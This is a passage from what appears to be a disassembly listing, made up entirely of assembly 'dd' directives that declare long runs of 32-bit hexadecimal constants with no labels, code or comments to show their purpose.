		dd 0A08B410Eh, 2301BA2Bh, 88EB1ED6h, 0B8A28353h, 0EAE8D045h
		dd 0B51F46FCh, 7F803A49h, 1CB9430Dh, 0AB3500BBh, 0BF95E02Bh
		dd 0F9007744h, 39DE7B0Ah, 1E431CA4h, 21C537h, 5CF320A2h
		dd 526E7D2h, 0B51DED67h, 0FFC9F240h, 3F9D0D28h,	0D280F7B6h
		dd 0C27E1DADh, 6004FB93h, 46490654h, 9C3B3A80h,	0A2B50081h
		dd 7925C2EEh, 0B077EE4h, 45FA578Fh, 80398863h, 816AF3h
		dd 1BCAF42Bh, 0EBEE23D3h, 0C4BE6900h, 0D9AEFDCh, 0C1C500B1h
		dd 90582757h, 0D01C67F6h, 6A0052DEh, 0AB957237h, 17C91FCDh
		dd 8A0F49B6h, 18B30780h, 7B703DF6h, 0B1F07400h,	0CF685181h
		dd 0A41C00E2h, 0EA3748E1h, 0F5017E44h, 81711DAEh, 6FF88FDEh
		dd 0FA9E1E27h, 15A74377h, 0C5F823CEh, 0D75B7FB9h, 5401F7E8h
		dd 0EAF26F2Dh, 53BE601Ch, 0F312E500h, 2A883E8Ch, 9BA800BDh
		dd 0D299644Bh, 5200EBFAh, 0FE5177A1h, 971738h, 0F62381B4h
		dd 2C433902h, 0A63C4AECh, 55660033h, 0E6C7DB25h, 2EFB3BB8h
		dd 68A13802h, 8040E431h, 79183D5Ch, 9BB0326Dh, 0FF7A3E99h
		dd 63F5080Eh, 0E0BDB5A0h, 6A004B80h, 8AEFD98Ch,	1CA7A8D6h
		dd 2FA5B151h, 3200AADEh, 0C23A64E8h, 97000DDh, 6914CCE1h
		dd 150074C1h, 0F5BC80E9h, 0C5255Bh, 4E370BCDh, 0DC5C344Bh
		dd 912A3300h, 92981C42h, 87130078h, 0AE5269ADh,	0A7037338h
		dd 67C3C2C5h, 4531C8B3h, 0CCED03E5h, 5D346FE6h,	0F087D6B2h
		dd 81EAD041h, 7FECD1BCh, 0EC4DF80Fh, 679380DBh,	3160AFEh
		dd 0B008A701h, 0E6E8F47Ah, 0AC015B64h, 0D034ADE2h, 0F7F09A6Dh
		dd 0E98B004Ah, 0E01D3D92h, 7A004748h, 0EED8550h, 28ECBE2h
		dd 27836FFCh, 0D8E00834h, 210068D0h, 10F0EEDAh,	8C478Ah
		dd 3E1712EFh, 71C3ECF9h, 27207A00h, 58BC420Dh, 50901CFh
		dd 0D146D68Fh, 0D780D4EEh, 311B5230h, 60BDDDC7h, 0C64D0273h
		dd 6B001924h, 8AB1F7E1h, 7339452h, 65FDD1E7h, 5915B2F8h
		dd 62DBEE0h, 0DB2CFF00h, 717FB00Dh, 21980056h, 0EBC44743h
		dd 0C1B0AB68h, 97DD841Fh, 0AFB8FC80h, 0DCB08h, 346E2BEh
		dd 17685EA7h, 0C9718A00h, 122399E6h, 833E246Ah,	5B0F4024h
		dd 11079548h, 8D814A52h, 0D20478F0h, 0A9893C94h, 1B7AA201h
		dd 0CCA36E8Bh, 0AA000FAEh, 350C44CAh, 0E9CD1Fh,	0A56F34DEh
		dd 2579B595h, 0D595C00h, 72E02750h, 8BC90417h, 80DD6F56h
		dd 90C5D470h, 138FCA00h, 14AC582Ah, 0C1F5001Ah,	48990E2Ch
		dd 1D00A324h, 2917D5B1h, 339E8E2h, 0BB852BE4h, 23E894E5h
		dd 0FD009F6Dh, 8D976E4Bh, 77A416h, 0CAACA855h, 0D0C5615Bh
		dd 8C229D03h, 7E568B1h,	5373B290h, 0D50180AEh, 749098D8h
		dd 6EF09Fh, 0D4360A20h,	5C3B843Dh, 2749531Fh, 144ADA00h
		dd 804F35h, 3A702201h, 24D5BE60h, 7721DB1Eh, 18F76D0Ah
		dd 1CB43100h, 1E023D16h, 0AECB28h, 0F9E4782Ch, 8E1FFF57h
		dd 0B02B640h, 60CA5D03h, 730E65h, 398B230Ah, 7B0D4B1Eh
		dd 0A27AE431h, 9CC42F59h, 997D3E11h, 471F700h, 4714088Fh
		dd 0ACAFB700h, 8618FCDDh, 7E540F1Ah, 0EC811058h, 0EC6B2B28h
		dd 1C00B2E1h, 0E43D8E19h, 1FFDA7FBh, 0DDC03Bh, 40EC9326h
		dd 20001939h, 68F1FE5Ch, 30FEB27h, 0B54BB1CAh, 904AB787h
		dd 3090C3E0h, 343062D7h, 6900CC2Eh, 807365C0h, 84911Eh
		dd 0A4277014h, 94B1D107h, 17E70F00h, 0CC409568h, 0E6394C20h
		dd 87D2860h, 7F675E27h,	9250A9D8h, 0F585B6Ah, 7AEA75AEh
		dd 8E19886h, 354A7B5Ch,	68388DFh, 355100E5h, 861DAC3Eh
		dd 0CD0059A4h, 8F888326h, 4185Ah, 0E8BFF1A9h, 9F0A7B9Dh
		dd 0BDBB1D03h, 90ECE374h, 4C197Ah, 0C91B0728h, 58A7C3EDh
		dd 0F596BCA0h, 0FCE99E76h, 1D7BC173h, 0D471D0h,	9F8EF67Fh
		dd 0F0B423h
		dd 0C6BF9C25h, 3171E7B5h, 0B98B5700h, 2F35DB6Dh, 9F180CECh
		dd 0A9D1F2A6h, 0C0A2EBA0h, 852A3207h, 0B3F3FE62h, 0B15C80C5h
		dd 20680049h, 8A1C1037h, 90A4FAE0h, 3F070276h, 0D3554703h
		dd 0ECDF96D0h, 0AF1C0023h, 9436F6E3h, 22000937h, 647BF7CBh
		dd 0A4C1E8ACh, 0C55300A0h, 0D8B074A4h, 9800C3B1h, 1C7F969Dh
		dd 6973AD1h, 6AA6890Eh,	2EFE7017h, 86C339h, 0DA04C831h
		dd 0A08E63Fh, 0F23C32A4h, 28F407C4h, 2F18A03Ah,	0D20F21FAh
		dd 0F462DE78h, 76E400B8h, 1E25F956h, 91BE00C1h,	43FC7A35h
		dd 8A00C99Eh, 4C6C72A8h, 0FA80BDCAh, 0A07F0085h, 3EEB0DD3h
		dd 0CF1F1F0Ah, 2407433Ch, 9030801Eh, 0CBC9A6h, 299229Bh
		dd 1C7139FCh, 0C11848h,	0F717C3F2h, 909E0ED2h, 89EE6094h
		dd 871EE698h, 264B2B01h, 165F8EE9h, 0EBAED870h,	1990420h
		dd 60112AFDh, 0CCB43568h, 0AD031C48h, 8337F36Ch, 21088895h
		dd 0D99E0E90h, 5B409F82h, 292C93CFh, 0DE028900h, 61A692FEh
		dd 963200EBh, 18259A3Ch, 9B0794BDh, 27991BB6h, 696A0FD0h
		dd 57D51C54h, 8107FCA6h, 0F0EF9F9Ch, 0E20C843Ah, 299763Ch
		dd 0C078F34Dh, 1B54C0EEh, 0B9C73A6Fh, 9E143000h, 0D188A0EFh
		dd 5AF06D00h, 2798F3C8h, 884C5C7Eh, 0B45F6063h,	7B6C7818h
		dd 2ADE50h, 67F5B817h, 449189DCh, 0E1BB505h, 3C2249D0h
		dd 0EDE1DFEAh, 343C48C3h, 45B388h, 0BF6B4CB4h, 8ACB30D6h
		dd 0CEA8E930h, 0EE2C7C9Ah, 0CC4900F0h, 7F575CC4h, 3C03F959h
		dd 0A60B709Fh, 4CB3A1A2h, 51EE2080h, 35499280h,	0D1F16601h
		dd 81AB8F34h, 0F6B6E7E4h, 686E0764h, 50BD37FEh,	791AACDAh
		dd 310DB00h, 880773AAh,	908FF285h, 0BD6E1DF1h, 0D08B80F8h
		dd 0C151E191h, 24DC7E07h, 0ACF04679h, 9406CEh, 9934A555h
		dd 0DC4BD235h, 264CF000h, 0B8F7FBB3h, 0C6BE00B0h, 1AE3AEFh
		dd 24006F0Ch, 1B83AD3Bh, 9659CFh, 0F2E5B1C8h, 0DE4B05F4h
		dd 0B8C3210Eh, 630860DAh, 0B28AADh, 0A58C578Dh,	11D05FECh
		dd 0C2F3AF00h, 97152FF0h, 0EE7A4Ch, 1B0B376Ch, 0E429F9FBh
		dd 39F2381Ch, 0E3BC2C00h, 88AE10h, 0BFC730A8h, 81A4D6D9h
		dd 6B3E602Eh, 429E700h,	0CC1D89h, 0A27188CEh, 6932546Fh
		dd 3E04E177h, 0B1287F30h, 0D847DCC3h, 8002B9h, 92D006FEh
		dd 0F16B76AAh, 0FC19D301h, 6C45AFC7h, 85F5408Ah, 75807704h
		dd 349E3869h, 0BAA603CDh, 0E05A9712h, 0CCFB28A0h, 76F981Eh
		dd 11A78239h, 61D4BBD3h, 28889C99h, 0CD801914h,	6FDFDB0Eh
		dd 0D2F920B3h, 0DEA6FD10h, 191C2811h, 8F51712Dh, 0AFE80510h
		dd 0A1FD1700h, 32AD9FEBh, 0F685F2F9h, 104D0E4Fh, 29607C31h
		dd 0B176BAF2h, 0E2453300h, 0B54E565Ah, 78AF0003h, 46D7B86Bh
		dd 2EFC8255h, 0D2337607h, 98268822h, 951D07F1h,	5153B824h
		dd 0C480D5FFh, 88FE99D1h, 3AF01500h, 0A193BBCFh, 0D9910126h
		dd 0DA613FF3h, 3DC3F4B9h, 95100300h, 2D752385h,	0D136039Dh
		dd 0DE908F40h, 9AFB94D8h, 0B2245300h, 0A73CF6DCh, 140FEF9h
		dd 22281E97h, 0F8EF7B17h, 0DA1D3E9Ah, 5B4060EAh, 84F88310h
		dd 96BB06D4h, 0B0A80892h, 65F9FD00h, 5E4777A0h,	8ADF001Bh
		dd 0F0C952B0h, 90F1FA9h, 638D5C41h, 0D04CA294h,	4FD99Bh
		dd 6874041Dh, 0BBD0F55h, 443FC630h, 39BB5Bh, 0B314A9B0h
		dd 0B863250Dh, 5996F41Fh, 3CF53600h, 47D16Fh, 10143BBEh
		dd 7C0CA49Fh, 9CC07400h, 0DF4C2E72h, 0FC601F15h, 0A2CA00D0h
		dd 25885DEAh, 9E8948h, 74C5A916h, 0D4E5A3h, 9E8BE0E7h
		dd 7860CB8Dh, 0B22D840Bh, 0B9788068h, 0DA243Dh,	0EB284BBEh
		dd 278F52A1h, 20032900h, 9CDB3935h, 65D7008Bh, 7E9AB81Eh
		dd 7E0F6DFh, 6C812100h,	3F8A43B0h, 0B49C0059h, 82C50DF5h
		dd 0CF38D7DFh, 0BF890055h, 925B125Eh, 4C327A0Eh, 1D004F06h
		dd 4ABD473Dh, 6D005EB0h, 0DDD7FB6Bh, 0F8A739h, 713F7D4Fh
		dd 2918DEA0h, 0EE0760E6h, 121BC765h, 0B793110h,	78140752h
		dd 0D0D5187Eh, 1C6AF3A1h, 857D4107h, 45246C13h,	0F276F1C0h
		dd 76267CA8h, 0F0C80F88h, 6900968Eh, 0F3E991A0h, 0CD009B7Eh
		dd 8D6CBAEDh, 0D8CFDBh,	0AD5DFE32h, 221B3BEEh, 443B2776h
		dd 36E9006Ch, 4D894FE7h, 7CD3F26h, 68C1DF80h, 1693DEC9h
		dd 5F126500h, 795CBC90h, 124AF8B2h, 47DF84E5h, 606BEF7Dh
		dd 273BED25h, 0D7EC200h, 33CC110h, 7810004h, 0C0F4D35Ch
		dd 0A900FF4Eh, 92E35015h, 0A4E5ADh, 8B340782h, 568DDECBh
		dd 0D86A1600h, 895CFBB4h, 7A30EF9h, 27C0C63Ah, 734D2661h
		dd 0A70A1124h, 930309h,	0EA1340ECh, 0AB1A0059h,	7B7E53Fh
		dd 2A0752DCh, 88C78928h, 2ED88D40h, 5D0F0026h, 8F291B8Bh
		dd 0EB00AD0Bh, 1AB05AA8h, 7F5C2E7Eh, 0E0BB7860h, 0EE3F0238h
		dd 29755E78h, 9CF4C480h, 0C3005760h, 840EDB0Bh,	89E75Dh
		dd 2526D0AAh, 35D3C156h, 0DF445000h, 315713E0h,	90C400C3h
		dd 82B3BF0Ch, 4703D67Ah, 0B52D7C2Ah, 953C9805h,	94A41463h
		dd 13008C96h, 0E5E944DFh, 770026EAh, 21750C6h, 7CDE11h
		dd 895B0D3Eh, 6997740Ah, 3ED7A1Eh, 42A52300h, 624C15h
		dd 267982C1h, 0AB6C8AE0h, 0F00E1BF8h, 2EE5BFFCh, 0E492A028h
		dd 1EB21CAEh, 250C7ACh,	4A96D981h, 4FC55E0h, 0A4CB9000h
		dd 31FBBC45h, 7F67656h,	0F00667CEh, 6115A02Dh, 72070253h
		dd 0A8B1F769h, 0F1DBC0FFh, 0BE1DB0h, 0DE212FD2h, 430E6D9h
		dd 9B891A00h, 0EA44C7DDh, 40DA3E0Eh, 94A98F0Bh,	0FD0A095Fh
		dd 6CDFB00h, 0D300208Bh, 8DA37107h, 30CC27Ch, 96E4B928h
		dd 3988F27h, 7200A5BCh,	0E1CB583Bh, 936896Ch, 0BBFDCC0Ch
		dd 0E5E8D180h, 0E2004C9Ch, 73EAF93Eh, 0A0ADFFh,	0FACE7EF7h
		dd 0A82F3915h, 660AEE1Dh, 10B1EAC0h, 3BF9B8Bh, 0ABB7EC50h
		dd 87E81444h, 0EA3C1BACh, 0EFC9005Bh, 56DD8ADBh, 499B09A1h
		dd 0E580355Ah, 532F63BBh, 72C5E60Eh, 0FB9F40B7h, 1740D8h
		dd 0B4EF4FD5h, 7D745BBBh, 0D4A19E00h, 0B814FAE6h, 1BC307B7h
		dd 0BF8FB6D1h, 0BFD020E0h, 0E30059FEh, 2D69DCF6h, 90C42170h
		dd 0C2A500CFh, 82E68DEDh, 990088C6h, 85D6055Eh,	790E30DCh
		dd 99C98CEh, 68C74DB9h,	5FB0C80h, 1D00ED41h, 636AAE17h
		dd 0F8CA8D3h, 0D72BA171h, 19F8A5E0h, 957DD250h,	948CA1Eh
		dd 6F7B1280h, 7C8A65h, 37B815EEh, 22908EB3h, 17273107h
		dd 5420DB04h, 7783B77Fh, 93D5002Fh, 7836E1B5h, 0E6E25B26h
		dd 80DEA53Ch, 0EA5D4752h, 0E70F7Ch, 15D52B7Eh, 32F8FDD9h
		dd 0A85FBA07h, 4310DF67h, 0C005F3F9h, 6ECD9858h, 0E600FDA1h
		dd 0C9EFEDD6h, 1C7899B9h, 0BA28ECF5h, 85C5B080h, 2B09D996h
		dd 2C36C900h, 64EE7D56h, 0B5B9009Ch, 32DFE54Eh,	0C300F0A5h
		dd 34DBA6Fh, 0F6FCABC9h, 35799Ch, 5B180785h, 15E3BB16h
		dd 586E4Ch, 90FDE7EFh, 5E850h, 7BB8AD87h, 0DC9B668Fh, 0E03EDD00h
		dd 8C558EE2h, 0CBBB071Ch, 20281602h, 0F72FE7DBh, 0AA9C9200h
		dd 0C9535467h, 0AFEB1C5Ch, 0AC444055h, 24EA8AE7h, 3526C400h
		dd 0DE330B4h, 236B0FEEh, 8A8BB7FBh, 0B2495C80h,	0A907B36Eh
		dd 0D0631C88h, 71509F57h, 798DFh, 869C930Dh, 4F5EC2E7h
		dd 0FD8D63Bh, 0A021A9B6h, 3EFDF70Bh, 0FEA8A041h, 8E70D5h
		dd 544CAEDFh, 0DAFFD436h, 0D1202B00h, 228A8C46h, 232EA48h
		dd 0B59DA3C6h, 0AEC0C54Ch, 0F8001A7Ch, 0A070BCC8h, 179643h
		dd 0E538C4ACh
		dd 0B7E76912h, 0C910F403h, 0F823EAD4h, 1468B335h, 805325BBh
		dd 0B10AEF3Bh, 0BED45F3Bh, 1CA26B8Fh, 67A0EB8Fh, 0D07A94DEh
		dd 1386760Bh, 0A7A08024h, 5B07C753h, 2E6CC1E5h,	0C8C1E8FEh
		dd 46417600h, 9E55F7DDh, 4B1E0662h, 2EECA62Ah, 0B41DBC09h
		dd 59C303A5h, 739CF8C7h, 0F4C9022h, 71F38B4Bh, 8D1461A0h
		dd 0ED3D1DD7h, 0E1B200C2h, 0A9382DB0h, 0E53E0E52h, 0FD208A8Bh
		dd 66454D0Ch, 8076793Dh, 0A3B31D15h, 7C805FDDh,	0D2A7009Dh
		dd 0FD14CEEEh, 0E374BA04h, 79724F0Fh, 3DD101F1h, 0CF4707Dh
		dd 0BB3900D0h, 0CCD28CCAh, 0B00766Ch, 6279228Fh, 284A81Bh
		dd 0F537C6Dh, 6860BECEh, 0E413DAF3h, 3604F589h,	68C08A0Ch
		dd 0CCE9FDh, 73B10F12h,	6CC9D6CEh, 9CF79000h, 92DCF0E8h
		dd 0E2CC007Fh, 0D2977E4h, 50005C34h, 3F213578h,	58580240h
		dd 0AB00BD8Fh, 5B6013B2h, 1B05BBA9h, 0F9B3F29Eh, 9A08840h
		dd 22B643h, 825A6012h, 31264E8Dh, 8187A33Ah, 4810AC1Ch
		dd 0B0B8BA1Fh, 5F5AA48Fh, 5CBF9EE0h, 5B1D9C53h,	88C74AAFh
		dd 0FAD049F5h, 244055h,	0F3087665h, 0CF1E580Eh,	0C4E36600h
		dd 60620A5Dh, 31B1872h,	51119C26h, 71019C7Ch, 4AC1BABFh
		dd 3A20AA24h, 7D98B86Eh, 0FB21000Fh, 0C561EF44h, 0B103A0CFh
		dd 0C6FE281Bh, 301CA0BEh, 20B42816h, 59D00354h,	0BFA3435Fh
		dd 0A6F015C0h, 8EF1DE00h, 0A19D65DBh, 57F2005Eh, 64C8ADD3h
		dd 58002D6Ch, 0EF406B32h, 191A7CBh, 5C9D1E2Bh, 47E13E0Dh
		dd 0CF66E0D3h, 371FA34Ch, 858799FAh, 0C8E0728Eh, 0C59C7Bh
		dd 0B3793CEFh, 0A464C5Eh, 64839800h, 4B2B5ACEh,	0E1F7552h
		dd 0A5164E14h, 0EF150036h, 0CB045710h, 0DECA9000h, 0F1A34864h
		dd 27261D95h, 0BB81C0B5h, 0EBE73FFFh, 0B0320507h, 18B09CD9h
		dd 35AAF19h, 128B7656h,	21E0A5C8h, 0BC03F26Ah, 3F8E08FDh
		dd 0FB6690CCh, 11E50F89h, 4AC086A6h, 88236528h,	85F84C00h
		dd 0DA9F6EACh, 823009A4h, 8F02D492h, 60C01B22h,	6D1F7C9Bh
		dd 807F28B9h, 0EC1E39EFh, 6D1BC7Dh, 0F37269C6h,	3106308Ah
		dd 0C3D44984h, 448B0210h, 45A36846h, 5F651040h,	245EA207h
		dd 0F82023F3h, 79C0BE1Fh, 6FDE004Ch, 0D7C74502h, 0BD39FB6Eh
		dd 7F3E0088h, 0A4BEC3F9h, 45670062h, 0FFE80614h, 8E0346E7h
		dd 3C51434Fh, 35E29032h, 61C10075h, 5F7EB91Fh, 0CC000305h
		dd 598D0CA0h, 1D505370h, 403B44BFh, 5163E47Ah, 260077A1h
		dd 3CB78FD9h, 0C0E368BBh, 6171AA18h, 14314F0Fh,	6F9A9140h
		dd 22C893h, 0CE5CD247h,	1200A203h, 0D60FA325h, 0A1CD54Ch
		dd 939B7C5Fh, 0D4820088h, 0B6A50C19h, 4C025960h, 7B3A861h
		dd 575BCF84h, 484F60ADh, 0A01DB9BBh, 0C140AF59h, 9338406Dh
		dd 0F0207EDh, 60804B54h, 0EB7EC820h, 85E4980Eh,	280A3E25h
		dd 7C0421h, 7D641E78h, 49E1DFBAh, 64534Ch, 819B6BB7h, 0EB8AC58h
		dd 0D378EA1Fh, 0DD3941C3h, 29004FC3h, 819A292Bh, 8567BAh
		dd 0BDA4D850h, 8B95EF9Dh, 0FF828E16h, 0D7BEAF01h, 0C0FADE0Eh
		dd 0E34747h, 79B42A87h,	9B20D27Bh, 8AA71400h, 1D778E93h
		dd 0C4AD047Dh, 806B6F23h, 5910D25Fh, 34857100h,	9F67ED50h
		dd 79744Eh, 0BB702196h,	192C3330h, 0A40ECAF4h, 20865CE9h
		dd 0AD97CD49h, 1E6678A9h, 12129DD0h, 411A07FCh,	0E05D17DDh
		dd 8A1A5B64h, 42C85E00h, 9438B126h, 0D2851663h,	8B4200BAh
		dd 0B4A7216Ch, 5FA07200h, 22A82611h, 7F870006h,	9FC5C619h
		dd 9D0013A2h, 0ACBB4A85h, 604EEEh, 0F8EC1224h, 889E6FB7h
		dd 16B8C748h, 0B0038BE4h, 0F02DE777h, 0BA6A08h,	512A9906h
		dd 974E32C3h, 5316600h,	73A6E3FBh, 6D691C0Eh, 7F0A007Dh
		dd 0CBD3BD34h, 4E0007E6h, 0EFBF51FDh, 79CF2C12h, 5CD8EA90h
		dd 720090F5h, 0F68404Fh, 9A772BB9h, 0FD2F4401h,	0DB8F214Ah
		dd 208092BAh, 52408603h, 6307BA24h, 0BBFCDEF0h,	4D9EFFE0h
		dd 0D88B00E6h, 4B9D28Ah, 581C8F0Ah, 15C07383h, 5499E4ACh
		dd 55E82DF4h, 6103B5F8h, 675CBB30h, 0D831E05Fh,	6B50011h
		dd 0AE57445Ah, 0F0A38D10h, 4A93EF88h, 0C014F948h, 88A7F0BAh
		dd 55590172h, 77D69694h, 31E0FCFAh, 5E6E0E00h, 1F28D11Bh
		dd 4729009Fh, 0FB7A4EDFh, 10907FF0h, 31BB0F0Eh,	0D341E766h
		dd 0A44E3700h, 0F4EC013Eh, 7544CD02h, 30E1D876h, 0B3386B00h
		dd 0CEB842EEh, 247E01E7h, 80BC676Fh, 0B633F0BDh, 1CA00400h
		dd 28617523h, 673F3A8Ch, 0E9F77880h, 0C472D7ECh, 8BDF931Fh
		dd 5DC19440h, 0B0DEB567h, 844900ECh, 55F5E46Ah,	911E019Ch
		dd 54C1B148h, 0D205AFC7h, 77BC824h, 0E5B3A273h,	96401017h
		dd 1500C847h, 0D86B1F99h, 0D2BEDFh, 9E4ED560h, 90F58597h
		dd 0B6344B00h, 495E1FFEh, 0CB0B00DEh, 451BDCF2h, 15006961h
		dd 0E9F9BFF7h, 0F8754197h, 0DF51022Ch, 0E8C2579Bh, 15D82460h
		dd 30F7C0Eh, 80F66092h,	3816C87h, 335E7408h, 0B6892912h
		dd 32F5D87Eh, 66982007h, 4DA09A67h, 894F57h, 6B64E52Eh
		dd 98C7CE12h, 0A4D97A62h, 0CB20007Fh, 177F6EEBh, 8FB84C01h
		dd 0A9495E1h, 16BAE8E4h, 6D7AF8h, 0BCE96FC8h, 250055FBh
		dd 0FC542F38h, 0B0A6F848h, 0AE810043h, 3337CB4Bh, 751D2471h
		dd 2B807D88h, 0DBCD9D91h, 57E40062h, 0CC57384h,	0D0010F0h
		dd 94CF746Ch, 0E031D9h,	5F809044h, 0ACCB3AE9h, 0EC531302h
		dd 801B513Bh, 0D98F1788h, 54FC57h, 11640832h, 996FE10h
		dd 0D30A3B00h, 75D6462Ah, 0F4B012h, 1D60C3CCh, 8496BEFDh
		dd 0F65FE200h, 0FC292D62h, 0CFEE1290h, 40001EEDh, 17B91B4h
		dd 0BF0EDF02h, 0E6307DB1h, 0E0F7E8h, 0B80FEE96h, 0BF74DA2Dh
		dd 0CBCC4E01h, 23E376E4h, 31044CEh, 2F333EA1h, 0CB0BB4Eh
		dd 8C7064Fh, 20B0FA45h,	77CEDAD9h, 1C850365h, 1DAEBD3Ah
		dd 0AF00ABB5h, 801AB327h, 42C78E9h, 341E3594h, 0C000EB66h
		dd 2EEAACCEh, 32BC0013h, 0DEE3F98Ah, 0D2009441h, 822FC6B4h
		dd 817201h, 99839F11h, 0C4036A9h, 0FBFAE104h, 9CC03A06h
		dd 944C7h, 0F8EF341Ah, 0E6B696E2h, 94A7AF04h, 0CE806742h
		dd 1548EAh, 0D9CA9AFFh,	0BAADF5B3h, 0E3B91300h,	930D8809h
		dd 1185581Ah, 5CB49D07h, 0AD865175h, 0BF6AD8C3h, 9200E6E0h
		dd 728A96A5h, 0F6764h, 0C98F7E99h, 6B7F2662h, 0FAF85300h
		dd 1255E6A9h, 2B840006h, 830D709Ch, 2D00EBD9h, 8CB22978h
		dd 658B0h, 3847C0F3h, 7FE903D3h, 40C4E001h, 58CA0E62h
		dd 641A20h, 0C81A7C90h,	0C7449D9h, 0E41084Ch, 53D6B9D4h
		dd 0BE3F9A00h, 776D0B0h, 0F725802Eh, 78C4A4Eh, 5187A36Dh
		dd 0FC9DB514h, 0A8B8845Dh, 5FCB7000h, 735C3E96h, 2981031Ch
		dd 0F8B506C0h, 1D84B6B0h, 0A2A38700h, 0F225B410h, 4F710030h
		dd 596C6EAEh, 0E101D40Eh, 17B98ABEh, 0B121695Ch, 7E219420h
		dd 67E90242h, 0FDC896CBh, 0BD5E4057h, 75DDEE1Fh, 1E78F0EEh
		dd 0C54C05h, 0A70BB286h, 7D166E59h, 4A07C645h, 0F7D03A9Bh
		dd 9929E1h, 0C9F953BEh,	0C2CC340Dh, 177F626h, 0E72B2C07h
		dd 40358DD2h, 0EE872804h, 0FAB91D8Bh, 0E022C019h, 91CAA8A3h
		dd 0CEA1260Ch, 0FED187Fh, 0A5B52976h, 0EE1E9A40h, 8701114Dh
		dd 85403A98h, 943033B6h, 0F95816D7h, 0C905C1BEh, 0C4E08CD0h
		dd 5321B4h, 4ACAF961h, 0BC3F2948h, 3B655E0Fh, 2390007Eh
		dd 1FF2F10Dh, 0B09D6E4h, 7080B4E6h, 0C0C4F5C2h,	15928300h
		dd 0FBAFB384h
		dd 2F981D76h, 287B406Ch, 0E23250F2h, 47A75A1Eh,	8CFA1440h
		dd 704310D1h, 0AA810FA3h, 0C220D767h, 529BBF0h,	0F1E6BF8h
		dd 0AD815DD2h, 18836099h, 0B098DD40h, 15D4F58Bh, 60A650FAh
		dd 0EDDF0046h, 71F053B3h, 69006E4Eh, 28C5391Bh,	3F3245Fh
		dd 84049673h, 0F7D066D7h, 0C5EAD6E2h, 3058C778h, 8FC09F28h
		dd 31B083D5h, 40636397h, 0C6A0E84Ah, 6C0E1A13h,	402B8AFDh
		dd 4376FC44h, 344F0005h, 747F29E4h, 48DE36C0h, 264E6240h
		dd 7C9E7A9h, 9B665247h,	0E667A08Ah, 0EC0F81A0h,	51DBA34h
		dd 0C840BE6Eh, 9B93406Bh, 4F3901F1h, 0A0605FEBh, 2C8020D1h
		dd 0D528910Fh, 8DF0A63Dh, 2F410140h, 8FA9FB67h,	0B4788030h
		dd 0C0780F13h, 0AE5C00FFh, 0A9201450h, 4500A298h, 0D7E04C02h
		dd 0C0D14A97h, 684E4359h, 0EE005758h, 3C6552A7h, 1B2F6498h
		dd 0D1554571h, 2EF181C0h, 3A6988A0h, 94563000h,	0CF52107Ch
		dd 6DA400CAh, 3DC7C2F5h, 0BC00AD04h, 8CF7D536h,	7F9ACB6h
		dd 376AE474h, 6E5340ABh, 2CF046D8h, 6EF3800h, 85A76035h
		dd 0D0750004h, 8E2234Eh, 9603D2AEh, 8F4CF7F4h, 5EDBA0F0h
		dd 404E01D4h, 0D1EE16FAh, 0D270CCDFh, 19E5591Eh, 6AC1671Fh
		dd 0F9DBEF3Eh, 0D98E5884h, 8D52109h, 281E6030h,	2CF948h
		dd 4ECA5345h, 430FCCD1h, 8B6FDE00h, 50393D75h, 25463D8Dh
		dd 458E5301h, 80F1F9CEh, 0CAF52888h, 7803492Eh,	3BEE5860h
		dd 41A6E300h, 0D99FD5FCh, 6C90CAF4h, 0BBD45F02h, 0E0B2195Eh
		dd 0B1D0B1h, 91CFAE30h,	849488B0h, 2824F430h, 56034Eh
		dd 1CA60EE9h, 0E429F2EDh, 0F0F79700h, 0F52EB9F3h, 3C50F5F9h
		dd 8AEE684h, 0CAEAA972h, 0EF9742h, 0F9192F4Ch, 380A2300h
		dd 39CF6772h, 0B0A0A362h, 0F807720h, 0D6F9DC5Ch, 9BA1BE80h
		dd 481E0568h, 90183A1Ah, 0A26C10h, 0E651768Dh, 0E7252C3Bh
		dd 0B6E49900h, 0FBD227C4h, 6A30348h, 6AAAC5DBh,	8740A2FAh
		dd 7C0F0777h, 85FB5D9Ch, 0C9801BDFh, 0BC893Bh, 96B58CA3h
		dd 639194B2h, 0D7E7E200h, 8F6CF829h, 0B84100CDh, 0F5F1BDA0h
		dd 5F009316h, 0A89E049Bh, 0D6889Dh, 0C3DDEB2Eh,	13642C36h
		dd 5A79F900h, 57A2C9C0h, 1D6379F4h, 80FC74A0h, 8A172F7Eh
		dd 361F6C81h, 0D0C1DA07h, 205C1C11h, 98C2C0h, 0D9DBF1A9h
		dd 28CEEB6Ch, 0CCAD391Fh, 1D749A00h, 6DFD20h, 0EB3022Eh
		dd 5B475D38h, 9AB07F00h, 52AFA56Bh, 1A2032Dh, 0AE3D9521h
		dd 0D54AD890h, 0DE096572h, 0E7FEE8h, 2B93994Ch,	90BC707Dh
		dd 33C8026Bh, 0C9A59067h, 91136160h, 776C2B0Eh,	7909E10Fh
		dd 444BC324h, 3BC026C8h, 3C34C122h, 3F8D625h, 0D797F0FBh
		dd 7050B908h, 4F00B735h, 239C8DDh, 1E8945Fh, 2A2C17DBh
		dd 87B17F5Dh, 0B40AD28h, 14F46390h, 0CF4C054Ah,	8037A05Ch
		dd 0CDBB24A4h, 3CD62E00h, 0D02C9A15h, 87860080h, 25F0DABCh
		dd 0A203E03Fh, 0D73E7899h, 6B0C9095h, 4E312C66h, 29E500F0h
		dd 3238EC18h, 592F9600h, 0FAE4F44Dh, 0BDD40095h, 673F421Bh
		dd 0BF0E99D9h, 0A054B65Ch, 666FACBh, 0FD731F47h, 859B4060h
		dd 30C73B7Dh, 1189D700h, 2736EEB9h, 45E9009Eh, 0D1DAB87h
		dd 69390C24h, 89A9814Dh, 1EB230C4h, 0EDEBA0CFh,	9DFE3A04h
		dd 0E48CA100h, 0E67FD1F4h, 3D03F078h, 18A5EAEBh, 86D5E0F7h
		dd 9CF80061h, 0A046B40Eh, 751CA93Dh, 1A80E1E8h,	0ED8987D4h
		dd 412F0022h, 83CC91F8h, 5D0CA04Ah, 509CA1F2h, 142A1C31h
		dd 0F018016Dh, 80EECAB4h, 0ACF8A689h, 183DD40Fh, 309F3AE4h
		dd 7200D507h, 25C2362Dh, 0E48F12AAh, 28FA0C01h,	0B789B06Dh
		dd 436B730Fh, 51AC6080h, 6A332Fh, 0CBAD3EB4h, 9B55EC39h
		dd 0F0E50603h, 1E4BF04h, 30AA0FE0h, 8CA6B2E2h, 0F9980E48h
		dd 0CE851503h, 5D068CA5h, 0A9F70DB0h, 9B818919h, 40F59718h
		dd 7200BE8h, 7DE73FE5h,	8E24CAF3h, 380039D3h, 0A59CF7CBh
